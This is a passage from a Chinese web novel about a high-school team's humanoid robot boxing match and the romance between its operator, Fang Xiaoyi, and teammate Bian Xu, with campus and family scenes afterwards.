要说他跟唐悦一样,从超市那个视频就能看出来,这个边煦还真不信,因为唐悦熟悉他,而程辉不熟。而自己那天在超市,边煦也确定,自己没干什么无法掩饰的举动。不然程辉的口吻就不是打听,而是确信了。 所以,那个引起程辉注意的点,在哪里呢? 边煦一时想不通,但想起方笑贻多虑的性格,边煦眨掉麻烦的迹象,目光清净地说:“聊我跟他的共同话题。” 方笑贻没多想:“唐悦啊?” “程辉,”边煦纠正道,“程慎说,程辉上他家借钱去了,来问问我,上过我家没有。” 提起这个人,方笑贻就头大:“他去你家了吗?” 边煦说:“没有。” 但程辉急着还债,不去反倒才不正常。不过边煦又说,以前他们借过几回,后面有笔烂账,金钱上就不来往了。 这样也行,方笑贻这才安心去存包。 只是存包的时候他又发现,这会场的管理确实不怎么样,向黎那个师弟,没资格就进来了。然后储物柜这边,两个保安坐在右边的地上,旁若无人地打《王者荣耀》。 存完包,去开会的教练们也回来了。 方笑贻回到台区,老梁讲了下比赛规则:“你们都给我记牢了哈,比赛是积分制,3回合,每回合3分钟,击中手部得1分,腿部2分,头部3分,倒地扣5分,10秒不起身,扣10分。” “然后因为队伍数量是个单数,所以第一轮抽签,有个幸运号直接进2轮,一会儿就要抽签了,你们谁手气好?” 许柏提议:“鸿丽去吧,她昨天买刮刮乐才中了200块。” 大家都没意见,于是谢鸿丽应抽签邀请,苍蝇搓手地去了趟前台,但回来的时候,有点惭愧和心虚。 因为很戏剧的,她抽了16号,正好对阵15号的明实。 第58章 7点42分,主持人和其余队员进了演播室。 操作手则站在擂台和观众席中间的回形走廊里,遥着第一场比赛的两台机器人,从擂台东南、西北的预留缺口处上了台。 缺口处设了楔形台阶,四方绳也局部遥控可滑移,否则机器人上台困难。 擂台还有一名裁判,一台裁判机器人。电子大屏上挨着红蓝拳头,罗列着学校、签号、机器人型号和计分条。 蓝方-榆大附中01-玉树G1-0 红方-科学高中02-众勤PM01-0 主持人快节奏的声音在场里回荡:“现在将由蓝方附中迎战红方科高,可以看到双方选手已经摩拳擦掌,好的比赛正式开始……” 开始之后,观众才知道,这个主持人找得有多优秀。 因为这两台机器人哆哆嗦嗦地走到一块,还没碰上,PM01忽然一顿王八拳,G1就,倒地了。 方笑贻在后台都看傻了,扭头看其他人,也都是不同程度的目瞪口呆。 许柏张着嘴:“不是,这、这打到了吗?” 谢鸿丽眯着眼:“没有吧?感觉还离着半米远呢。” 李经略甚至搞起了阴谋论:“这两学校该不会是约好了,在打假拳吧?” 向黎一开口:“哈哈哈。” 只有边煦在钻研技术,开了慢速,在看回放。 方笑贻凑过来嘀咕:“看出啥了?” “没啥,”边煦说,“应该是操作手紧张,手滑了。” 方笑贻问他:“哪儿看出来的?” 边煦把把进度条拖到附中的G1上台阶那里。 方笑贻看它滑了一下,原地跺了几下脚又站稳了,稳定性看起来是正常的。 同时,演播室里,主持人解说到一半,也没能扼住惊呼:“而PM01这一系列快拳也是相、呃啊。” 但他反应神速,秒接下去了:“G1应声倒地,我想,它应该是中了一记空气拳。来看一眼技术回放啊……好的,我们最终确定,G1是中了一记空气拳,但是计分呢?裁判,请问这一拳能够计分吗?” 裁判说不行,只扣了G1倒地的5分。于是附中才开打,分就成负的了。 接着一连3场,名场面都层出不穷。 有自己侧踢,把自己踢飞的;防守倒退,绊到四方绳,从擂台上倒栽下去的;还有费老劲把对手打倒了,结果自己太高兴,小碎步踩中倒地选手,被绊倒的…… 这些机器人的表现令人失望,直播间的评论上全是: [这机器人我可以打十个] [像俩老头打架] [被绊倒这个,是真的绷不住了] [很想知道裁判是怎么忍住不笑的] 全靠主持人老庄诙谐浮夸的话锋,拉住了一波观众。 他说:“哇击裆,这种动作早已被联盟明令禁止,但幸运的是,我们今天用的韩国裁判的标准,呵呵开个玩笑了,裁判不要生气。” “好的,红方崛起中学要出招了,它……用后背攻击!蓝方第二外立马还击,啊?双膝跪地!” “真不愧是高端局的对决,看来双方都很善于利用出其不意的方式,在精神方面击溃对手的防线!” …… 方笑贻差点被这主持人笑死:人才,屎都能夸成一朵花。 边煦却在他旁边,当安静的美男子。 方笑贻怀疑他笑点有问题:“这你都不笑?你笑点是铁打的吗?” 边煦被他的比喻戳了下笑点:“没你好笑。” 可方笑贻什么都没干,看他的眼神十分无语。 边煦这才跟他说:“老庄我关注很多年了,已经笑完了。” 方笑贻“哦”了下,转头又哈哈哈。 直到第4场,六中代表的7号以红方上场,在一个回合的相互试探之后,以一个利落准确的左右侧踢,重击到蓝方8号第二实验的X2,X2劈腿倒地,直接KO,死机了。 比赛才脱离主持人的奋力carry,靠格斗推上第一个小高.潮。 主持人这次不装了,是真激动:“这个动作,漂~亮!绝对是今晚到目前为止,最有王者风范的一个操作。” “这是否意味着我们的今晚的比赛,也正式从青铜局,进阶到了王者之旅呢?来,让我们大家一起拭目以待。” 然后挺神奇,后面的比赛质量,果真比前面好看了一些。 因为省一级的高中开始双双出现,它们用人脉和资源堆出来的机器,灵巧度跟稳定性都非同一般。 随着打斗的继续,直播区的评论热词,渐渐从“老头”变成了“AI”。 [我承认,至少比马拉松那个进步了100倍] [这玩意跟AI关系大吗] [动作其实挺复杂的了,搞不清是AI还是遥控的了] 间或还有:[榆林一中,横扫赛场!地表最强!] 这种热血中二的加油词,在评论区忽闪。 v信里也一堆加油信息,有他姐、班级群、刘丞丞小群、谭威、杨妙还有席子的。 但方笑贻已经没空看了,因为远处,明实那桌已经围成了一团,不知道在商量什么战术。向黎也把他们拢成了一堆。 老梁去打探过明实的底细了,这种钞能力的学校,硬件软件都是顶配。 在配置上,一中肯定是吃亏的,老梁也感觉有点倒霉,第一轮就碰上这种硬茬。但为了不影响学生的士气,他还是中气十足地说:“后台程序这边,边煦跟经略盯紧点儿,我就不说什么了。” “许柏,你盯好对方的输出,鸿丽提醒操作手注意死角。然后就是操作,笑贻啊,你稳当点,别摔了,站桩都比摔倒强哈。” 大家应声或点头,老梁又叫向黎说两句。可向黎没说什么,因为怕自己一开口,就会长他人志气,灭自己队的威风。 谢元朗虽然是个渣人,但从小浸淫,RoboMaster打得很不错,是个能带着弱校,在最后10秒绝杀翻盘的狠角色。 明实又有钱,这场比赛会打成什么样呢? 向黎忧心忡忡的,方笑贻看在眼里,小声跟边煦说:“向哥看着怪焦虑的。” 边煦声音也压得很低:“可能明实确实挺强的。” 方笑贻问他:“那我们呢?” 边煦语气很淡定:“我们也强。” 方笑贻笑死:“给个比较级。” 边煦说:“给不了。”明实的人机,网上完全没有任何资料,捂得相当严实。 方笑贻强人所难:“必须给。” “那就只能吹了,”边煦说,“我们强。” 方笑贻单手打了个响指:“行,带领队伍走向胜利的任务就交给你了。” 边煦抬眼看他:“那你呢?你干什么?” “我抱大腿,”方笑贻说,“躺赢。” 他是操作手,队里最躺不平的存在,但这会是开玩笑,边煦遂把左腿在地上抻直,对他甩眼神:“来吧,抱。” 可这是能抱的地方吗?方笑贻坐在桌上,叫他爬。 等这场闲淡扯完,第8场比赛也被叫响了。 两队人迅速各就各位,开箱、整机,给机器人戴上比赛用的拳套、头套。 然后两个操作手带人机进入场门,技术组则从左右的小门,上2层的演播室,教练、代教则留在候场区殷殷目送。 到了这时,方笑贻他们才看到,明实用的机型也是G1,但改装过,足面跟膝关节的盖板都跟通用的不一样,步态也隐约比别家的更像人。 方笑贻眼缝警惕地一眯,转头跟边煦对视了一眼。 不止他俩,大家心下都雪亮:这是一个花了大价钱训练的高端货—— 向黎的眼神眼见着凝重起来,老梁也只能在门后面安抚:“方啊,别紧张,平时怎么训练的,上了台也还那样,啊?” 明实这边,出声的却是代教谢元朗,他姿态傲慢的,对自家那个戴着宽镜架透明运动眼镜的操作手吩咐:“牧也,不要赢的太难看了。” 许柏是会做阅读理解的,立刻笑了一声:“那你们可以输得难看一点。” 双方又喷了几句垃圾话,很快被工作人家赶进了场内。 方笑贻是蓝方,遥着自家带着头套、拳套的T1,从电子屏后面的门进去的时候,被明实的操作手遥着G1,从后面“邦”的打了一拳。 那一拳很重,T1瞬间往前跄了出去。 向黎在门里面,登时气不打一处来,转头跟谢元朗掐了起来。 方笑贻却压低T1的重心,用一个蹲姿稳住了它。 下一秒,明实这个叫牧也的操作手从右边冒出来,转过来的脸上有阵痞气,他说:“Sorry哈兄弟,手滑了。” 方笑贻瞥他一眼,面上没动声色,做了个“请”的手势:“手残的话,你先走。” 对方皱了下脸,不爽地说:“你说什么?” 方笑贻却从另一边回过头,跟还滞留在门框右边的边煦对了一眼,然后右手暂离遥控,轻轻做了个推的动作。 意思是,阻抗性很强。 边煦点了下头,又指了下右耳上的耳机,接着从门后消失了。 方笑贻也遥着T1,从右边的台阶缺口上了擂台。 刚上去,观众席就爆发出了突兀的掌声和叫好,因为斜对角上,明实的机器人不走寻常路,它上了台阶但不肯走缺口,而是平移到四方绳后面,像人类的拳击手一样,从绳缝里钻进来的。 * “哇哦~这走位,有点守擂机器人的气质了。” 主持人又让大家拭目以待,待完把镜头给了裁判。裁判双手一合,叫双方的人机和操作手都到擂台中间来。 方笑贻遥着T1,老老实实地过去了。 明实的G1却又整活,路上颠了个小碎步,还摆开架势,用左臂朝对面做“勾手”动作。 这是挑衅,观众席和评论区又是一小波热闹。 [好骚啊明实的] [终于有那么一丢丢科技感了] [一中的机器人呆呆的,看起来要被打爆] [别啊不要这么对一中的操作小哥] 许柏坐在技术区,实在很看不惯这种贱兮兮的风格,怒道:“炫,继续炫,早点给丫炫没电!” 谢鸿丽劝他下头一点:“一共就9分钟,电根本不是问题。” 边煦心想,要是时长能拉到20分钟,就明实这个多动的程度,方笑贻大概真能躺赢了,但9分钟只能拼技术。 “数吧,他们的关节自由度,”边煦说,“经略,你也留意一下,这台G1大关节的角度空间。” 三人说好,神速地分好了工。 同一时间,擂台中间,方笑贻也听裁判讲完赛中注意事项,退到了围绳外的蓝色地标上,等到裁判一声令下:“开始!” 下一瞬,比赛铃还没响完,牧也就推着G1就冲了上来。 他是典型的进攻型选手,他家的人机也快准狠,一瞬间,擂台上终于有了点“格斗”的迹象。 主持人开麦激情解说:“OK明实率先出招!它冲向了一中的T1,旋腿、侧踢,这爆发力,很好!T1躲不开了,它会怎么……哦嚯!可以啊T1,它的选择是正面刚,上来也是一样的一脚。” 砰、砰—— 只见两台人机撞在一起,各自踹中了对方的“大腿”侧面,再互相被蹬开,倒退了出去。 主持人紧盯着擂台,声音抑扬顿挫,又煽风点火。 “哎、哎、哎,这波可要站稳啰,倒地就是一个-5分。不过喔?!谁能想到先站稳的,居然是一中这台平平无奇的T1!” “而它的对手G1还在倒退,一步、两步、三步……好的,它也站稳了。” 随着播音,裁判在台上双手举二,意思是双方各得两分,电子屏上跟着刷新了分数:2-2 从比分上来说,这一击是平局。但因为G1之前太高调,多退的3步又令它显得略占下风。 于是观众席和直播评论区的风向,又墙头草地倒向了一中。 [我去一中,有两把刷子] [低调朴素有实力,关注一波] [可以可以,后面都保持这种水准,下次比赛我会买票] 方笑贻听着周遭的掌声,手心里却微微有点汗意。 明实的机子确实快,比别家的G1更快,他是躲不及了,才硬冲上去的。好在这一击打准了,但坏处呢? 就是擂台对面,明实那个牧也,在狂瞪他。 牧也根本没把一中这个土老帽二流机子放在眼里,所以之前多轻视,现在就多恼羞成怒。周围的嘘声像莫大的侮辱,而谢元朗要是在旁边…… 这时在后台,明实的桌边,谢元朗看着屏幕里自家操作手那个心虚的嘴脸,脸上也是面若寒霜。 向黎的师弟挤在他旁边,看完直播再看他的脸色,矫声道:“别这个脸嘛,不至于。一中这就是瞎猫撞上死耗子,瞎几巴乱按打中了,牧也后面会吊打他的。” 谢元朗心情不好,对他也不客气:“这不是瞎打出来的,你不懂,就少说话。” 师弟的眼神霎时怨愤,但又很熟练地忍住了,换成了一种仰慕和好学:“我是不懂,但是你懂嘛,你教教我~我不就会了。” 谢元朗吃这套,脸色稍缓,指着手机里一中的T1,真给他讲了起来。 “它攻击的时候,没有一个多余的动作,非常干脆。后面倒退,也有意将机器人的身体在打横,卸往后倒的惯性。” “一中这个操作手的意识很不错,还有他家这个平衡的算法,看上去不起眼,但调整起来效率居然这么高,这套算法也不简单,这个队伍可以。” 谢元朗拿手指敲着桌子,讥诮道:“牧也要是再吊儿郎当的,轻视别人,今天搞不好,我们第一轮就歇菜了。” 对于赛事,他从不开玩笑,向黎的师弟看着他那副表情,深沉之中又带点欣赏,顿觉碍眼地站了起来。 他起来的动作有点大,椅子怼得刺啦一下,谢元朗瞥他一眼,不耐烦道:“又怎么了?” “没什么!”这师弟别扭道,“我去包里拿吃的。” 他的包在储物柜里,他到柜子跟前的时候,有俩保安在寄存键那儿,滴滴地按了半天,也没一个柜门弹开。 向黎的师弟没耐心,等了没两秒,迁怒道:“你们在干什么啊?存包按一下不就行了吗?” 结果左边那个保安回过头来,方言口音浓重地说:“不行啊,它没那个、那个小票儿出来。” 向黎的师弟一看液晶屏,上面有一句“本柜无纸”。 都没纸了,那俩保安只好走了,向黎的师弟刷了下条形码,11号柜门应声弹开。 砰—— 聚光灯下,擂台上,调整完毕的双方,在几个相互试探落空之后,明实的G1终于又一拳砸中了T1的左臂,又得了一分。 然后拳击铃响起,第一回合以明实领先一分结束了。不过机器人不需要休息,只应裁判要求,回到擂台中间,第二局立刻又开始了。 因为明实有输了禁赛3场的规矩,所以在那一脚之后,牧也已经谨慎起来了。 而明实的机子本就高配,操作手说实话,反应和准头也相当厉害。方笑贻被对方机子的速度压制,只能不断地闪躲,或者拿拳击手套去接攻击。 这样极耗注意力,而他躲得其实也挺巧妙,但次数多了、节奏单一,观众迅速疲劳化了。 导播为了丰富节目效果,只好一边让主持人吹眼下的优势方,明实的过往战绩:今年FRC(机器人大赛),全国赛的联盟冠军之一。教练也牛,是机甲大师东部赛区的头部,云云。 另一边,又不断用言语怂恿: “哦?一中这波,又是一个躲闪。” “又是。还是!我的天,一中的操作手,值得一个泥鳅奖。” 观众席和评论区都在哈哈哈,也有懂行的路过怜惜。 [奖项名称,史上最难听] [我的一中小哥,头上都打出汗了] [yyss一中的操作很强了,你们知道这两台机子,原装不改,价格差多少吗?] [1/3] 同时,主持人又说:“不过光躲赢不了啊,好的,明实一个组合出拳,再次、再次落空!双方交换位置,继续交战。” 这之后,G1因为快速挥拳,自己没站稳,往后趔了下。 方笑贻抓住这个机会,上去给了它一膝盖。 这一击相当漂亮,不仅击中,对方机器人还倒地了,但太遗憾,回放的画面显示,他击中对方,是在铃声响起之后。 连主持人都直呼可惜:“感觉就差1秒!再早一秒,6分到手,不过这还是非常精彩的一次攻击,希望下一回合,幸运之神,能够眷顾我们一中优秀的操作手。” 他喊双方调整,方笑贻绷着注意力,把T1收敛成一个重心微微前压的拳击姿势,一边绕着G1警惕地小幅走动,一边压低声音,找技术支援。 “边煦,”他说,“对面速度好快。” “嗯,”边煦的声音立刻从耳机里传来,伴着一阵快速的键盘敲击声,“他们应该是换了更轻的面板材料,电机功率也大,就是很快,你已经做得很好了。” 方笑贻没吭声,做得再好,输了,总是缺一种“好”的证明。 “不过,”边煦话锋一转,“他们这个步态虽然很优秀,重量也极尽可能减轻了,但需要很多层算法来调控平衡,对芯片的算力要求非常非常高。我的感觉哈,它们机体的机身已经很热了,所以最后那个挥拳,格外不稳定。” 方笑贻愣了下:“你是说,那个不是操作失误,是故障吗?” “也不能说是故障,”边煦说,“应该说是芯片的算力不够、或者是电机温度过高,造成的临时的卡顿。” 方笑贻近乎有点期待地问道:“你确定吗?” 边煦刚刚都说了,是感觉,但明显他听得敷衍,可能是在为第3回合保留精力,所以其他都模糊处理。 边煦有点心疼,反复无常但笃定道:“我确定。” 话音刚落,第3回合的铃跟着响了。 有了边煦的提示,或者说“误导”也行,方笑贻这回合主动攻击的次数变多了。 他上去踢了G1两脚、打了3个不同的拳,还推了对方一把,但期间,边煦说的卡顿却一直没出现。G1依旧迅捷非常,T1还被它一拳击中胸口,差点倒在地上。 好在方笑贻调动了他自操作机器人以来,最如有神助的一次操作。 他没让T1去抵抗摔倒,反而是顺着往后跌,但把上身的重心往上猛推。然后伸右臂,再勾起它的手腕,让那个V口,挂在了围绳上,接着再把机身整个蜷起。 这使得它落在所有人眼里,都没有倒下,只是“抓”着绳子,蹲在了那里。 裁判都准备计分了,见状又定住了手势。 主持人本就爱激动,此刻直接惊讶到失去母语:“What?这也行?这也行!T1居然没有倒地,这绝对是今晚最封神的操作了!!” “这样就是再失一分,但还有一分钟,我们一中还是有机会翻盘的。好的,双方再次调整……” 只是又试探了两局之后,方笑贻打中了一下,但依旧没有得到分,他心里焦灼起来,许柏他们的声音也在耳机蹿了下,又被一声“嘘”给压住了。 不过方笑贻都没听到,他把所有的注意力都放在了擂台上,并且一改原先的谨慎,密集凌厉地开始进攻。 明实却跟他换了个风格似的,守得万分谨慎。 其实很短,但对方笑贻来说很长,10秒的结束倒计时在场馆里响起的时候,他心里有一瞬间,感觉到了难受。 但就在这时,边煦忽然在耳机说:“准备,踢它右腿根部!它髋……” 他都没说完,方笑贻就遥起T1,准确地冲他给的点位踹了一脚。 牧也反应也快,已经在后撤了,但G1的右脚卡顿了一下,就这一秒,硬脆的金属撞击过来。“砰”的一声里,G1的髋关节口居然爆出一小串火花,然后它算法全崩似的,用一个劈叉扭曲的姿势,滑飞到了地上。 下一秒,巨大的叫好和掌声从观众席里爆开—— 第59章 “好的!让我们恭喜榆临一中,在这场紧张刺激的比赛中逆境反杀、绝地翻盘……” 在主持人夸张的引导下,双方的技术组应流程,从面朝场内的楼梯上下来,跟操作一起亮了个相,很快退回了后台。 不过这匆匆的几分钟,也足够直播间的技术帝和颜狗上蹿下跳了。 [这种比赛居然还能冒出火花,牛啊] [我惊!一中的后台里居然还有天人] [《铁甲钢拳》感觉不远了] [从今天起,我对电竞star的爱将转移] [如果我没看错的话,他们下去的时候,天人给了操作一张卫生纸] [给什么纸啊亲自上手擦!] [求求了让一中跟六中打吧,所有人都站在擂台边上谢谢] 一路出来,许柏都在鬼哭狼嚎,还像披风一样挂在他跟边煦背上,喊他俩爸爸。进了后场,向黎跟老梁又等在门边,两人旁边,还站着两个人。 一个是穿米灰夹克的儒雅男中年,另一个青年穿黑白冲锋衣,跟向黎年纪相当,两人脖子上都特邀嘉宾的吊牌。 “来,边煦,”老梁招呼道,“这是优选Ai实验室,负责运动控制板块的张老师,他刚看完比赛下来,对你那个动态平衡的框架代码有点兴趣,想找你聊聊。这位呢,是他的助理,你喊胡哥就行。” 优选就是边煦那台迷你阿尔法的生产厂家,也是个老牌机器人大厂了。而这种产投前线的负责人,至少都是名校的科研大牛。 边煦尊敬地打过招呼,张老师和气地笑笑,把他的人和电脑一道,带到休息室去了。向黎也跟着去了。 方笑贻回到桌边,老梁给买了水和饮料,他拿了瓶怡宝,还没喝上,明实的周牧也忽然跑过来说:“加个v信吧。” 他输了比赛,表情活像个催债的,加上他跟谢元朗是一伙的,方笑贻想都没想:“不加。” 周牧也登时把眉头皱得更深了:“……就因为我推了你的机器人一下?” 主要还是因为向黎,但方笑贻说:“是。” 周牧也卡了下:“那我让你推回来,咱俩就扯平。” 方笑贻才懒得跟他扯,说:“没那个必要。” 周牧也脸上有点难堪,但还是要加他。 可方笑贻看他一脸硬着头皮的样子,忍不住搞了个阴谋论:“到底是你想加我们,还是你们那个谢代教命令你来加的?” 周牧也恼怒地瞪了他半天,才中二地说:“你是我自己想加的,我很久没输得这么心梗了,不把你打爆,我很难重拾自信。” 方笑贻:“……” “至于你们家这个算法,是朗哥想加,他们是一个位置,想交流交流。” 可他谢元朗算老几?他想交流就能交流吗?谁又稀罕跟他交流? 方笑贻嘴角很轻,但嘲弄地一扯:“还是不加。” 周牧也登时恼羞成怒:“不加拉倒!反正过一阵子,市里的人形机器人训练场开了,你我还是会进一个群。” 说完他气哼哼地走了。 许柏听完墙角,又接过了话茬:“什么训练场?我怎么不知道?” 李经略说:“我也。” 加上谢鸿丽,6只眼睛对着自己,方笑贻只好拿出手机,输入了关键词。 然后互联网告诉他们,市里确实建了个可容纳100多台人形机同时训练的场地,坐标就在科技馆旁边的产业孵化区。 “那大眼镜什么意思?”许柏歪着头,边划方笑贻的手机边说,“是说我们以后,都要去这里训练吗?” “你想得倒美,”李经略难以苟同,“这些什么模拟场景任务平台、光学捕捉系统,都是拿钱堆的,咱交钱了吗就给咱训练?” 谢鸿丽没有想法,干脆说:“笑贻,你要不过去把那个姓周的加回来,问问?” 他们不知道内情,方笑贻也不计较:“那我还不如去问赵老师。” 几人瞎扯了会儿,又看比赛、听老梁做赛后点评、被其他队的人搭讪……一直忙活到第一轮比完,第二轮抽完签,上场前夕边煦才回来,拿方笑贻的瓶子喝了口水,跟着又上了场。 不过这一轮,没有旗鼓相当的强校对阵,打得又快又平,方笑贻5分钟就结束了比赛,一中由此晋级六强。 到了10点,比赛提前14分钟结束了。 主持人宣告六强赛一个月后再续,老梁打爆了一个种子队,得意地哼起了歌,还拉着大伙去吃烧烤。 那烧烤店是个苍蝇馆子,装修简陋、包间也小,但虎皮鸡爪和烤茄子做得很不错。 方笑贻一个人就吃了个茄子,又啃了半盘子鸡骨头,也喝了点啤酒,因为大家今天都有点兴奋,除了谢鸿丽,老梁给她单点了一壶雪青柠。 一包间人吃到11点多,家长们频频打电话来问,老梁才结了账,带着他们在路边打滴滴。 这个路费老梁报销,方笑贻跟边煦本该打两个车,各回各家。但是边煦没打车,方笑贻的车一来,他比打滴的还先上车。 “他捎我一段。”他是这么对老梁说的。 只是上了车,两人挤在昏暗的后座,他又凑在方笑贻左耳边上说:“我想去老宅。” 那吐息温热,扫得耳际酥痒。声音也低,近乎朦胧。 但是方笑贻听清了,心里也懂。 这阵子训练实在太忙,忙到有时边煦洗完出来,他已经睡着了。今晚甚至忙到都没说上几句话。所以这会只剩他俩,那种极需私人空间的渴望顿时爆发了。 被他一撩,方笑贻心口也细密地加速,不过理智还在挣扎,他悄声回:“很晚了。” “去,我想去。”边煦边说,边在挎包的遮掩下,拿大拇指磋磨他的手腕口,力度微微有点重,频率也偏快,透着一丝心浮气躁。 两人指缝扣在一起,车里又弥漫轻微的酒气。 方笑贻说“嗯”的时候,心里其实很想拍脑门:自己真是越来越色令智昏了。 但不回家,问题也大,两人又举着手机,咫尺天涯地密谋了半晌,才给家里打电话。 都说累了,跑不动了,回老宅/去边煦家老宅凑合半夜,明早回去。 下车时,又都给老梁发消息,说到家了。 然后两人跑回老宅,门一关,边煦就捧着脸,先亲了两口干的,然后才自己靠到墙上,把他拉到怀里单手圈着,换了个从急躁到轻柔的长吻。 廊下没开灯,是乌漆嘛黑的一片,只有气息缠绵,扰动着夜色。 等亲够了,边煦进屋,把两个包都扔在了玄关的鞋凳上,又带着他去书房铺床。 铺的时候,他还催方笑贻铺完赶紧洗。结果被子才摞成一条,他就把人扑到了床上,捧住脸,蹭两下鼻尖,再拿嘴贴住唇…… * 这半夜,方笑贻愣是没睡好。 前面蜜里调油,折腾了个把钟头,后面擦了手,是真困了,双双拢好衣服,做好基友住大床房状,他又死活没睡着。 他有点认床,一个人也睡习惯了,有人挨着他,那种感觉十分绵长,怪、新鲜、热、又愿意……就更别提边煦爱抱东西了。 方笑贻夜里弄醒他两回。 头一回是他推的,边煦醒了,但很迷糊:“怎么了?” “你别箍着我,”方笑贻小声说,“喘不上气了。” 边煦反应了好一会,翻到背面去了。 只是方笑贻刚要睡着,他又过来了,方笑贻忍着锤他的冲动,试图爬出去,他又醒了,说他去睡沙发。 可沙发上什么都没有,方笑贻也感觉天都快亮了,叫他别折腾,自己抱着枕头,换到床尾去,这才浅浅睡了会儿。 结果膝盖一蜷,又碰到了不该碰的,边煦没醒,但应激抓住了他的脚踝,把他抓醒了。 方笑贻一看时间,6点多了,登时也放弃了睡眠焦虑,眼睛一闭,爱睡不睡了。 可能是因为在自己家,边煦倒是睡得还行,7点半了还没动。他喜欢赖床,方笑贻提前把他摇醒了。 边煦起来上了个厕所,回来方笑贻已经套上毛衣了,结果这货又往床尾一倒,把他也塞回了被子里,抱住了。 方笑贻简直服了他:“昨天是不是有个什么磁场爆了,把你整变异了?” 边煦声音懒散低哑:“听不懂你在说什么。” “大哥我更不懂,”方笑贻叹了口气,“我看你在寝室,自己睡觉挺老实的,晚上躺下啥样,早上起来基本还那样,怎么旁边有人会是这种德行?” “什么德行?” “八爪章鱼的德行。” 边煦把头往他颈窝里拱了拱:“那不知道,以前旁边也没人。” 方笑贻心口轻轻一跳,自己都有点惊奇,原来这么普通的话,它也会心动。 不过再心动,等到8点,他也死活把边煦拽了起来。 回到四海,10点没差几分了。 方笑贻本来准备回家去补觉的,结果走到天福超市,看见他妈、天福老板跟一个穿红色志愿者马甲的男人在超市门口说话。 方笑贻过去一看,才知道对方是四海区的义工,今天下来是替残联做推广,向老百姓宣传科技助残产品。 王玉华拿着一张智能眼镜的宣传纸,殷切地看着他说:“他们说这个眼镜,戴上就能把对面说话的人说的话,弄成文字,放在这个眼镜里。然后一个眼镜是2500,他们这边还能给打个折,你看看。” 方笑贻接到手里,却只问了,能不能先拿宣传单回去看看?大哥说行,他就搭着王玉华的肩膀回家了。 进了楼道口,王玉华才开口:“怎么了?这个眼镜是骗人的吗?” “也不是,”方笑贻说,“对于听障来说,这绝对是个好东西,只是还没做好而已。” 王玉华稀里糊涂的:“哪里没做好呢?” 方笑贻拿手机,找了个智能AR翻译眼镜的视频给她,又说:“跟v信那个语音消息功能一样的,环境安静、对方说普通话,你录个音,也能转成正确的文字。但拿去菜市场,别人讲方言,还很多人一起讲,它就不行。” 王玉华“哦”了下,又笑着拍他的胳膊:“还是多读点书好哈,懂得多。” 方笑贻闻言也笑:“书上也没有这些,我听别人说的。” 边煦上次去科技馆比赛,有个厅的展会上有这个产品,就给他拍了照片。回来两人搜了下资料,觉得等个两三代的优化,应该就可以买了。 同一时间,东四环这边,边煦则关在书房里,带上耳机给唐悦打了个电话,说程辉问他谈恋爱那事。 唐悦一听,赶紧撇清:“天地良心,可不是我说的,我都没跟老程提过。肯定是你自己不检点,被他看到了什么。” “没有,”边煦说,“我那天在超市,跟他碰面的时间,全在你看到的那个视频里了。” “那这个,他不说,你猜不到的,别琢磨了。” 边煦一想也是,唐悦知道他在担心什么。 程辉知不知道,他其实不在意,他只是怕程辉告诉于静涵,然后她又闹到盛芝兰那里。 “不过,啧,怎么说呢,”唐悦给他打预防针,“你这个情况,迟早而已,肯定是会暴露的,你还是要做点心理准备的。” 边煦“嗯”完挂了,躺在椅子上闭眼思索。 如果明天,就是暴露的时刻,一开始,他奶奶肯定接受不了,叫自己跟方笑贻分开,自己该怎么办呢? * 比完赛,方笑贻稍微回归了下正常上课的节奏。 拜机器人这么热门的存在所赐,他在班上被捧得厉害,星期天傍晚回教室,一路上就挨了3个夸。等到坐下,又还有等着他的。 “王者归来啊兄弟们,”刘丞丞双手一扬,中二病大发,“勾出圈、勿相忘啊。” 马嘉楠也跟着发癫:“你勾绳那一下帅爆了,也勾中了哥的心巴。” 方笑贻看他们的表情有点无语。 偏偏刘丞丞还没点b数:“你辣什么表情?” 方笑贻只好说:“是一种想把你们分类到垃圾桶里去的冲动。” 刘丞丞笑死了,又对边煦说:“仔,管管你同桌。看看,他现在多膨胀?” 边煦在桌上拿平板读资料,是赛场那个张老师的助理发给他的,闻言看了下刘丞丞,又转头看方笑贻,还上手把他脸拨到面对面,装模作样地打量了两下,才说:“没膨胀,还是很瘦。” 方笑贻噗的笑出了声。 课间,谢恒又跑来趴桌子,闲扯几句过后,忽然说:“对了,李欣文艺大委员叫我问你们,你们的战队名字叫啥?” 方笑贻听得一愣,转头问边煦:“我们什么时候成立战队了?” 边煦特别干脆:“不知道。” 谢恒看得嘴角直抽:“不是吧?咱打成这样,连个牛笔哄哄的队名都还没有,老梁也太打酱油了吧?” 可晋级赛根本不需要队名,都是叫的学校。 方笑贻一问才知道,是他们在评论区里,看见别校的学生喊的,什么风暴、创翼、Born of Fire战队……然后李欣会画画,说可以帮他们设计队标。 这不是方笑贻操心的事,但他还是有点感动。 与此同时,校园墙的视频投稿里,也能看见他们打比赛的片段。 评论里,方笑贻被pick得最厉害,因为边煦和许柏他们出镜太少,别人也没什么可pick的。 方笑贻还在寝室跟边煦开玩笑:“你酸不酸?吃不吃醋?” 边煦还挺条分缕析,在他手机屏上一指两指:“这种不吃,这种吃。” 方笑贻垂眼一看,分别是两条。 [全场看下来,还是煮包打的最燃] [你好操作,谈吗?] 指完,他还对虚空答话:“不了,操作已经在谈了。” 方笑贻顿时被他笑翻。 天冷了,边煦不再天天当用水大户,熄灯前的活动变丰富了。 有时两人会吃个宵夜,边煦吃馄饨、方笑贻吃泡面,结果吃到一半,都成了泡面馄饨。 他俩也去301,斗过两回地主,筹码是自备零食。只是两人割韭菜割得太狠,边煦会记牌,而方笑贻会出点老千,张厦把他俩给禁赛了。 光看没意思,两人又窝回寝室,开始发展新活动:一起煨被窝。 有时很朴素,只是依偎在一起絮叨,家里、实验室、班上网上的笑料,或者拿平板看个电影。有时也真会煨出火。 下铺狭窄,冬被又厚,翻也翻不动,一闹热得要死。 方笑贻呼吸悠悠地战栗,鼻尖和耳廓都躁得发红,是真心觉得羞耻,他把个学上成了这样……但还是翻到侧躺,抵着额头拿手帮他。 一晃这个人,已经陪他吃了快3个月的大食堂了。周末也没有海底捞、音乐会、AJ大扫购,边煦也无所谓,他物欲不强,只是陪伴需求有点高。 方笑贻也乐意陪着他,目前也只给得起他这个。 是夜室外飘雪,窗内如春。 元旦将近,实验室这边,老梁跟向黎在研究明实机器人的步态,这周在学校的时间不多。班上也再次开始征集晚会表演了。 谢恒来了两趟,头一趟是叫边煦拉琴,董事长不干。班长再过来,人就丧心病狂了。 他说:“你们能不能把你们实验室里那个机器人,弄过来跳个舞、打个拳啥的?” 